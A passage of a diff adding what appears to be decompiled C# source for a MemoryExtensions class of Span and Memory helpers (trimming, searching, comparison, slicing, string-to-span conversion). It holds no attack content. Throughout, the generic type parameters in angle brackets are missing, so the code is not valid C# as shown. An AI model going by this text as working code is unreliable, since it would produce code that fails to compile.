ReadOnlySpan span, char trimChar) + { + return span.TrimStart(trimChar).TrimEnd(trimChar); + } + + public static ReadOnlySpan TrimStart(this ReadOnlySpan span, char trimChar) + { + int i; + for (i = 0; i < span.Length && span[i] == trimChar; i++) + { + } + return span.Slice(i); + } + + public static ReadOnlySpan TrimEnd(this ReadOnlySpan span, char trimChar) + { + int num = span.Length - 1; + while (num >= 0 && span[num] == trimChar) + { + num--; + } + return span.Slice(0, num + 1); + } + + public static ReadOnlySpan Trim(this ReadOnlySpan span, ReadOnlySpan trimChars) + { + return span.TrimStart(trimChars).TrimEnd(trimChars); + } + + public static ReadOnlySpan TrimStart(this ReadOnlySpan span, ReadOnlySpan trimChars) + { + if (trimChars.IsEmpty) + { + return span.TrimStart(); + } + int i; + for (i = 0; i < span.Length; i++) + { + int num = 0; + while (num < trimChars.Length) + { + if (span[i] != trimChars[num]) + { + num++; + continue; + } + goto IL_003c; + } + break; + IL_003c:; + } + return span.Slice(i); + } + + public static ReadOnlySpan TrimEnd(this ReadOnlySpan span, ReadOnlySpan trimChars) + { + if (trimChars.IsEmpty) + { + return span.TrimEnd(); + } + int num; + for (num = span.Length - 1; num >= 0; num--) + { + int num2 = 0; + while (num2 < trimChars.Length) + { + if (span[num] != trimChars[num2]) + { + num2++; + continue; + } + goto IL_0044; + } + break; + IL_0044:; + } + return span.Slice(0, num + 1); + } + + public static bool IsWhiteSpace(this ReadOnlySpan span) + { + for (int i = 0; i < span.Length; i++) + { + if (!char.IsWhiteSpace(span[i])) + { + return false; + } + } + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int IndexOf(this Span span, T value) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.IndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value), span.Length); + } + if (typeof(T) == typeof(char)) + { + return System.SpanHelpers.IndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value), span.Length); + } + return System.SpanHelpers.IndexOf(ref MemoryMarshal.GetReference(span), value, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int IndexOf(this Span span, ReadOnlySpan value) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.IndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(value)), value.Length); + } + return System.SpanHelpers.IndexOf(ref MemoryMarshal.GetReference(span), span.Length, ref MemoryMarshal.GetReference(value), value.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int LastIndexOf(this Span span, T value) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.LastIndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value), span.Length); + } + if (typeof(T) == typeof(char)) + { + return System.SpanHelpers.LastIndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value), span.Length); + } + return System.SpanHelpers.LastIndexOf(ref MemoryMarshal.GetReference(span), value, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int LastIndexOf(this Span span, ReadOnlySpan value) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.LastIndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(value)), value.Length); + } + return System.SpanHelpers.LastIndexOf(ref MemoryMarshal.GetReference(span), span.Length, ref MemoryMarshal.GetReference(value), value.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool SequenceEqual(this Span span, ReadOnlySpan other) where T : IEquatable + { + int length = span.Length; + if (default(T) != null && IsTypeComparableAsBytes(out var size)) + { + if (length == other.Length) + { + return System.SpanHelpers.SequenceEqual(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), ref Unsafe.As(ref MemoryMarshal.GetReference(other)), (NUInt)length * size); + } + return false; + } + if (length == other.Length) + { + return System.SpanHelpers.SequenceEqual(ref MemoryMarshal.GetReference(span), ref MemoryMarshal.GetReference(other), length); + } + return false; + } + + public static int SequenceCompareTo(this Span span, ReadOnlySpan other) where T : IComparable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.SequenceCompareTo(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(other)), other.Length); + } + if (typeof(T) == typeof(char)) + { + return System.SpanHelpers.SequenceCompareTo(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(other)), other.Length); + } + return System.SpanHelpers.SequenceCompareTo(ref MemoryMarshal.GetReference(span), span.Length, ref MemoryMarshal.GetReference(other), other.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int IndexOf(this ReadOnlySpan span, T value) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.IndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value), span.Length); + } + if (typeof(T) == typeof(char)) + { + return System.SpanHelpers.IndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value), span.Length); + } + return System.SpanHelpers.IndexOf(ref MemoryMarshal.GetReference(span), value, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int IndexOf(this ReadOnlySpan span, ReadOnlySpan value) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.IndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(value)), value.Length); + } + return System.SpanHelpers.IndexOf(ref MemoryMarshal.GetReference(span), span.Length, ref MemoryMarshal.GetReference(value), value.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int LastIndexOf(this ReadOnlySpan span, T value) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.LastIndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value), span.Length); + } + if (typeof(T) == typeof(char)) + { + return System.SpanHelpers.LastIndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value), span.Length); + } + return System.SpanHelpers.LastIndexOf(ref MemoryMarshal.GetReference(span), value, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int LastIndexOf(this ReadOnlySpan span, ReadOnlySpan value) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.LastIndexOf(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(value)), value.Length); + } + return System.SpanHelpers.LastIndexOf(ref MemoryMarshal.GetReference(span), span.Length, ref MemoryMarshal.GetReference(value), value.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int IndexOfAny(this Span span, T value0, T value1) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.IndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value0), Unsafe.As(ref value1), span.Length); + } + return System.SpanHelpers.IndexOfAny(ref MemoryMarshal.GetReference(span), value0, value1, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int IndexOfAny(this Span span, T value0, T value1, T value2) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.IndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value0), Unsafe.As(ref value1), Unsafe.As(ref value2), span.Length); + } + return System.SpanHelpers.IndexOfAny(ref MemoryMarshal.GetReference(span), value0, value1, value2, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int IndexOfAny(this Span span, ReadOnlySpan values) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.IndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(values)), values.Length); + } + return System.SpanHelpers.IndexOfAny(ref MemoryMarshal.GetReference(span), span.Length, ref MemoryMarshal.GetReference(values), values.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int IndexOfAny(this ReadOnlySpan span, T value0, T value1) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.IndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value0), Unsafe.As(ref value1), span.Length); + } + return System.SpanHelpers.IndexOfAny(ref MemoryMarshal.GetReference(span), value0, value1, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int IndexOfAny(this ReadOnlySpan span, T value0, T value1, T value2) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.IndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value0), Unsafe.As(ref value1), Unsafe.As(ref value2), span.Length); + } + return System.SpanHelpers.IndexOfAny(ref MemoryMarshal.GetReference(span), value0, value1, value2, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int IndexOfAny(this ReadOnlySpan span, ReadOnlySpan values) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.IndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(values)), values.Length); + } + return System.SpanHelpers.IndexOfAny(ref MemoryMarshal.GetReference(span), span.Length, ref MemoryMarshal.GetReference(values), values.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int LastIndexOfAny(this Span span, T value0, T value1) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.LastIndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value0), Unsafe.As(ref value1), span.Length); + } + return System.SpanHelpers.LastIndexOfAny(ref MemoryMarshal.GetReference(span), value0, value1, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int LastIndexOfAny(this Span span, T value0, T value1, T value2) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.LastIndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value0), Unsafe.As(ref value1), Unsafe.As(ref value2), span.Length); + } + return System.SpanHelpers.LastIndexOfAny(ref MemoryMarshal.GetReference(span), value0, value1, value2, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int LastIndexOfAny(this Span span, ReadOnlySpan values) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.LastIndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(values)), values.Length); + } + return System.SpanHelpers.LastIndexOfAny(ref MemoryMarshal.GetReference(span), span.Length, ref MemoryMarshal.GetReference(values), values.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int LastIndexOfAny(this ReadOnlySpan span, T value0, T value1) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.LastIndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value0), Unsafe.As(ref value1), span.Length); + } + return System.SpanHelpers.LastIndexOfAny(ref MemoryMarshal.GetReference(span), value0, value1, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int LastIndexOfAny(this ReadOnlySpan span, T value0, T value1, T value2) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.LastIndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), Unsafe.As(ref value0), Unsafe.As(ref value1), Unsafe.As(ref value2), span.Length); + } + return System.SpanHelpers.LastIndexOfAny(ref MemoryMarshal.GetReference(span), value0, value1, value2, span.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int LastIndexOfAny(this ReadOnlySpan span, ReadOnlySpan values) where T : IEquatable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.LastIndexOfAny(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(values)), values.Length); + } + return System.SpanHelpers.LastIndexOfAny(ref MemoryMarshal.GetReference(span), span.Length, ref MemoryMarshal.GetReference(values), values.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool SequenceEqual(this ReadOnlySpan span, ReadOnlySpan other) where T : IEquatable + { + int length = span.Length; + if (default(T) != null && IsTypeComparableAsBytes(out var size)) + { + if (length == other.Length) + { + return System.SpanHelpers.SequenceEqual(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), ref Unsafe.As(ref MemoryMarshal.GetReference(other)), (NUInt)length * size); + } + return false; + } + if (length == other.Length) + { + return System.SpanHelpers.SequenceEqual(ref MemoryMarshal.GetReference(span), ref MemoryMarshal.GetReference(other), length); + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int SequenceCompareTo(this ReadOnlySpan span, ReadOnlySpan other) where T : IComparable + { + if (typeof(T) == typeof(byte)) + { + return System.SpanHelpers.SequenceCompareTo(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(other)), other.Length); + } + if (typeof(T) == typeof(char)) + { + return System.SpanHelpers.SequenceCompareTo(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), span.Length, ref Unsafe.As(ref MemoryMarshal.GetReference(other)), other.Length); + } + return System.SpanHelpers.SequenceCompareTo(ref MemoryMarshal.GetReference(span), span.Length, ref MemoryMarshal.GetReference(other), other.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool StartsWith(this Span span, ReadOnlySpan value) where T : IEquatable + { + int length = value.Length; + if (default(T) != null && IsTypeComparableAsBytes(out var size)) + { + if (length <= span.Length) + { + return System.SpanHelpers.SequenceEqual(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), ref Unsafe.As(ref MemoryMarshal.GetReference(value)), (NUInt)length * size); + } + return false; + } + if (length <= span.Length) + { + return System.SpanHelpers.SequenceEqual(ref MemoryMarshal.GetReference(span), ref MemoryMarshal.GetReference(value), length); + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool StartsWith(this ReadOnlySpan span, ReadOnlySpan value) where T : IEquatable + { + int length = value.Length; + if (default(T) != null && IsTypeComparableAsBytes(out var size)) + { + if (length <= span.Length) + { + return System.SpanHelpers.SequenceEqual(ref Unsafe.As(ref MemoryMarshal.GetReference(span)), ref Unsafe.As(ref MemoryMarshal.GetReference(value)), (NUInt)length * size); + } + return false; + } + if (length <= span.Length) + { + return System.SpanHelpers.SequenceEqual(ref MemoryMarshal.GetReference(span), ref MemoryMarshal.GetReference(value), length); + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool EndsWith(this Span span, ReadOnlySpan value) where T : IEquatable + { + int length = span.Length; + int length2 = value.Length; + if (default(T) != null && IsTypeComparableAsBytes(out var size)) + { + if (length2 <= length) + { + return System.SpanHelpers.SequenceEqual(ref Unsafe.As(ref Unsafe.Add(ref MemoryMarshal.GetReference(span), length - length2)), ref Unsafe.As(ref MemoryMarshal.GetReference(value)), (NUInt)length2 * size); + } + return false; + } + if (length2 <= length) + { + return System.SpanHelpers.SequenceEqual(ref Unsafe.Add(ref MemoryMarshal.GetReference(span), length - length2), ref MemoryMarshal.GetReference(value), length2); + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool EndsWith(this ReadOnlySpan span, ReadOnlySpan value) where T : IEquatable + { + int length = span.Length; + int length2 = value.Length; + if (default(T) != null && IsTypeComparableAsBytes(out var size)) + { + if (length2 <= length) + { + return System.SpanHelpers.SequenceEqual(ref Unsafe.As(ref Unsafe.Add(ref MemoryMarshal.GetReference(span), length - length2)), ref Unsafe.As(ref MemoryMarshal.GetReference(value)), (NUInt)length2 * size); + } + return false; + } + if (length2 <= length) + { + return System.SpanHelpers.SequenceEqual(ref Unsafe.Add(ref MemoryMarshal.GetReference(span), length - length2), ref MemoryMarshal.GetReference(value), length2); + } + return false; + } + + public static void Reverse(this Span span) + { + ref T reference = ref MemoryMarshal.GetReference(span); + int num = 0; + int num2 = span.Length - 1; + while (num < num2) + { + T val = Unsafe.Add(ref reference, num); + Unsafe.Add(ref reference, num) = Unsafe.Add(ref reference, num2); + Unsafe.Add(ref reference, num2) = val; + num++; + num2--; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Span AsSpan(this T[] array) + { + return new Span(array); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Span AsSpan(this T[] array, int start, int length) + { + return new Span(array, start, length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Span AsSpan(this ArraySegment segment) + { + return new Span(segment.Array, segment.Offset, segment.Count); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Span AsSpan(this ArraySegment segment, int start) + { + if ((uint)start > segment.Count) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return new Span(segment.Array, segment.Offset + start, segment.Count - start); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Span AsSpan(this ArraySegment segment, int start, int length) + { + if ((uint)start > segment.Count) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + if ((uint)length > segment.Count - start) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.length); + } + return new Span(segment.Array, segment.Offset + start, length); + } + + public static Memory AsMemory(this T[] array) + { + return new Memory(array); + } + + public static Memory AsMemory(this T[] array, int start) + { + return new Memory(array, start); + } + + public static Memory AsMemory(this T[] array, int start, int length) + { + return new Memory(array, start, length); + } + + public static Memory AsMemory(this ArraySegment segment) + { + return new Memory(segment.Array, segment.Offset, segment.Count); + } + + public static Memory AsMemory(this ArraySegment segment, int start) + { + if ((uint)start > segment.Count) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return new Memory(segment.Array, segment.Offset + start, segment.Count - start); + } + + public static Memory AsMemory(this ArraySegment segment, int start, int length) + { + if ((uint)start > segment.Count) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + if ((uint)length > segment.Count - start) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.length); + } + return new Memory(segment.Array, segment.Offset + start, length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void CopyTo(this T[] source, Span destination) + { + new ReadOnlySpan(source).CopyTo(destination); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void CopyTo(this T[] source, Memory destination) + { + source.CopyTo(destination.Span); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool Overlaps(this Span span, ReadOnlySpan other) + { + return ((ReadOnlySpan)span).Overlaps(other); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool Overlaps(this Span span, ReadOnlySpan other, out int elementOffset) + { + return ((ReadOnlySpan)span).Overlaps(other, out elementOffset); + } + + public static bool Overlaps(this ReadOnlySpan span, ReadOnlySpan other) + { + if (span.IsEmpty || other.IsEmpty) + { + return false; + } + IntPtr intPtr = Unsafe.ByteOffset(in MemoryMarshal.GetReference(span), in MemoryMarshal.GetReference(other)); + if (Unsafe.SizeOf() == 4) + { + if ((uint)(int)intPtr >= (uint)(span.Length * Unsafe.SizeOf())) + { + return (uint)(int)intPtr > (uint)(-(other.Length * Unsafe.SizeOf())); + } + return true; + } + if ((ulong)(long)intPtr >= (ulong)((long)span.Length * (long)Unsafe.SizeOf())) + { + return (ulong)(long)intPtr > (ulong)(-((long)other.Length * (long)Unsafe.SizeOf())); + } + return true; + } + + public static bool Overlaps(this ReadOnlySpan span, ReadOnlySpan other, out int elementOffset) + { + if (span.IsEmpty || other.IsEmpty) + { + elementOffset = 0; + return false; + } + IntPtr intPtr = Unsafe.ByteOffset(in MemoryMarshal.GetReference(span), in MemoryMarshal.GetReference(other)); + if (Unsafe.SizeOf() == 4) + { + if ((uint)(int)intPtr < (uint)(span.Length * Unsafe.SizeOf()) || (uint)(int)intPtr > (uint)(-(other.Length * Unsafe.SizeOf()))) + { + if ((int)intPtr % Unsafe.SizeOf() != 0) + { + System.ThrowHelper.ThrowArgumentException_OverlapAlignmentMismatch(); + } + elementOffset = (int)intPtr / Unsafe.SizeOf(); + return true; + } + elementOffset = 0; + return false; + } + if ((ulong)(long)intPtr < (ulong)((long)span.Length * (long)Unsafe.SizeOf()) || (ulong)(long)intPtr > (ulong)(-((long)other.Length * (long)Unsafe.SizeOf()))) + { + if ((long)intPtr % Unsafe.SizeOf() != 0L) + { + System.ThrowHelper.ThrowArgumentException_OverlapAlignmentMismatch(); + } + elementOffset = (int)((long)intPtr / Unsafe.SizeOf()); + return true; + } + elementOffset = 0; + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int BinarySearch(this Span span, IComparable comparable) + { + return span.BinarySearch>(comparable); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int BinarySearch(this Span span, TComparable comparable) where TComparable : IComparable + { + return BinarySearch((ReadOnlySpan)span, comparable); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int BinarySearch(this Span span, T value, TComparer comparer) where TComparer : IComparer + { + return ((ReadOnlySpan)span).BinarySearch(value, comparer); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int BinarySearch(this ReadOnlySpan span, IComparable comparable) + { + return MemoryExtensions.BinarySearch>(span, comparable); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int BinarySearch(this ReadOnlySpan span, TComparable comparable) where TComparable : IComparable + { + return System.SpanHelpers.BinarySearch(span, comparable); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int BinarySearch(this ReadOnlySpan span, T value, TComparer comparer) where TComparer : IComparer + { + if (comparer == null) + { + System.ThrowHelper.ThrowArgumentNullException(System.ExceptionArgument.comparer); + } + System.SpanHelpers.ComparerComparable comparable = new System.SpanHelpers.ComparerComparable(value, comparer); + return BinarySearch(span, comparable); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool IsTypeComparableAsBytes(out NUInt size) + { + if (typeof(T) == typeof(byte) || typeof(T) == typeof(sbyte)) + { + size = (NUInt)1; + return true; + } + if (typeof(T) == typeof(char) || typeof(T) == typeof(short) || typeof(T) == typeof(ushort)) + { + size = (NUInt)2; + return true; + } + if (typeof(T) == typeof(int) || typeof(T) == typeof(uint)) + { + size = (NUInt)4; + return true; + } + if (typeof(T) == typeof(long) || typeof(T) == typeof(ulong)) + { + size = (NUInt)8; + return true; + } + size = default(NUInt); + return false; + } + + public static Span AsSpan(this T[] array, int start) + { + return Span.Create(array, start); + } + + public static bool Contains(this ReadOnlySpan span, ReadOnlySpan value, StringComparison comparisonType) + { + return span.IndexOf(value, comparisonType) >= 0; + } + + public static bool Equals(this ReadOnlySpan span, ReadOnlySpan other, StringComparison comparisonType) + { + switch (comparisonType) + { + case StringComparison.Ordinal: + return span.SequenceEqual(other); + case StringComparison.OrdinalIgnoreCase: + if (span.Length != other.Length) + { + return false; + } + return EqualsOrdinalIgnoreCase(span, other); + default: + return span.ToString().Equals(other.ToString(), comparisonType); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool EqualsOrdinalIgnoreCase(ReadOnlySpan span, ReadOnlySpan other) + { + if (other.Length == 0) + { + return true; + } + return CompareToOrdinalIgnoreCase(span, other) == 0; + } + + public static int CompareTo(this ReadOnlySpan span, ReadOnlySpan other, StringComparison comparisonType) + { + return comparisonType switch + { + StringComparison.Ordinal => span.SequenceCompareTo(other), + StringComparison.OrdinalIgnoreCase => CompareToOrdinalIgnoreCase(span, other), + _ => string.Compare(span.ToString(), other.ToString(), comparisonType), + }; + } + + private unsafe static int CompareToOrdinalIgnoreCase(ReadOnlySpan strA, ReadOnlySpan strB) + { + int num = Math.Min(strA.Length, strB.Length); + int num2 = num; + fixed (char* reference = &MemoryMarshal.GetReference(strA)) + { + fixed (char* reference2 = &MemoryMarshal.GetReference(strB)) + { + char* ptr = reference; + char* ptr2 = reference2; + while (num != 0 && *ptr <= '\u007f' && *ptr2 <= '\u007f') + { + int num3 = *ptr; + int num4 = *ptr2; + if (num3 == num4) + { + ptr++; + ptr2++; + num--; + continue; + } + if ((uint)(num3 - 97) <= 25u) + { + num3 -= 32; + } + if ((uint)(num4 - 97) <= 25u) + { + num4 -= 32; + } + if (num3 != num4) + { + return num3 - num4; + } + ptr++; + ptr2++; + num--; + } + if (num == 0) + { + return strA.Length - strB.Length; + } + num2 -= num; + return string.Compare(strA.Slice(num2).ToString(), strB.Slice(num2).ToString(), StringComparison.OrdinalIgnoreCase); + } + } + } + + public static int IndexOf(this ReadOnlySpan span, ReadOnlySpan value, StringComparison comparisonType) + { + if (comparisonType == StringComparison.Ordinal) + { + return span.IndexOf(value); + } + return span.ToString().IndexOf(value.ToString(), comparisonType); + } + + public static int ToLower(this ReadOnlySpan source, Span destination, CultureInfo culture) + { + if (culture == null) + { + System.ThrowHelper.ThrowArgumentNullException(System.ExceptionArgument.culture); + } + if (destination.Length < source.Length) + { + return -1; + } + string text = source.ToString(); + string text2 = text.ToLower(culture); + AsSpan(text2).CopyTo(destination); + return source.Length; + } + + public static int ToLowerInvariant(this ReadOnlySpan source, Span destination) + { + return source.ToLower(destination, CultureInfo.InvariantCulture); + } + + public static int ToUpper(this ReadOnlySpan source, Span destination, CultureInfo culture) + { + if (culture == null) + { + System.ThrowHelper.ThrowArgumentNullException(System.ExceptionArgument.culture); + } + if (destination.Length < source.Length) + { + return -1; + } + string text = source.ToString(); + string text2 = text.ToUpper(culture); + AsSpan(text2).CopyTo(destination); + return source.Length; + } + + public static int ToUpperInvariant(this ReadOnlySpan source, Span destination) + { + return source.ToUpper(destination, CultureInfo.InvariantCulture); + } + + public static bool EndsWith(this ReadOnlySpan span, ReadOnlySpan value, StringComparison comparisonType) + { + switch (comparisonType) + { + case StringComparison.Ordinal: + return span.EndsWith(value); + case StringComparison.OrdinalIgnoreCase: + if (value.Length <= span.Length) + { + return EqualsOrdinalIgnoreCase(span.Slice(span.Length - value.Length), value); + } + return false; + default: + { + string text = span.ToString(); + string value2 = value.ToString(); + return text.EndsWith(value2, comparisonType); + } + } + } + + public static bool StartsWith(this ReadOnlySpan span, ReadOnlySpan value, StringComparison comparisonType) + { + switch (comparisonType) + { + case StringComparison.Ordinal: + return span.StartsWith(value); + case StringComparison.OrdinalIgnoreCase: + if (value.Length <= span.Length) + { + return EqualsOrdinalIgnoreCase(span.Slice(0, value.Length), value); + } + return false; + default: + { + string text = span.ToString(); + string value2 = value.ToString(); + return text.StartsWith(value2, comparisonType); + } + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ReadOnlySpan AsSpan(this string text) + { + if (text == null) + { + return default(ReadOnlySpan); + } + return new ReadOnlySpan(Unsafe.As>(text), StringAdjustment, text.Length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ReadOnlySpan AsSpan(this string text, int start) + { + if (text == null) + { + if (start != 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return default(ReadOnlySpan); + } + if ((uint)start > (uint)text.Length) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return new ReadOnlySpan(Unsafe.As>(text), StringAdjustment + start * 2, text.Length - start); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ReadOnlySpan AsSpan(this string text, int start, int length) + { + if (text == null) + { + if (start != 0 || length != 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return default(ReadOnlySpan); + } + if ((uint)start > (uint)text.Length || (uint)length > (uint)(text.Length - start)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return new ReadOnlySpan(Unsafe.As>(text), StringAdjustment + start * 2, length); + } + + public static ReadOnlyMemory AsMemory(this string text) + { + if (text == null) + { + return default(ReadOnlyMemory); + } + return new ReadOnlyMemory(text, 0, text.Length); + } + + public static ReadOnlyMemory AsMemory(this string text, int start) + { + if (text == null) + { + if (start != 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return default(ReadOnlyMemory); + } + if ((uint)start > (uint)text.Length) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return new ReadOnlyMemory(text, start, text.Length - start); + } + + public static ReadOnlyMemory AsMemory(this string text, int start, int length) + { + if (text == null) + { + if (start != 0 || length != 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return default(ReadOnlyMemory); + } + if ((uint)start > (uint)text.Length || (uint)length > (uint)(text.Length - start)) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.start); + } + return new ReadOnlyMemory(text, start, length); + } + + private unsafe static IntPtr MeasureStringAdjustment() + { + string text = "a"; + fixed (char* source = text) + { + return Unsafe.ByteOffset(in Unsafe.As>(text).Data, in Unsafe.AsRef(source)); + } + } +} diff --git 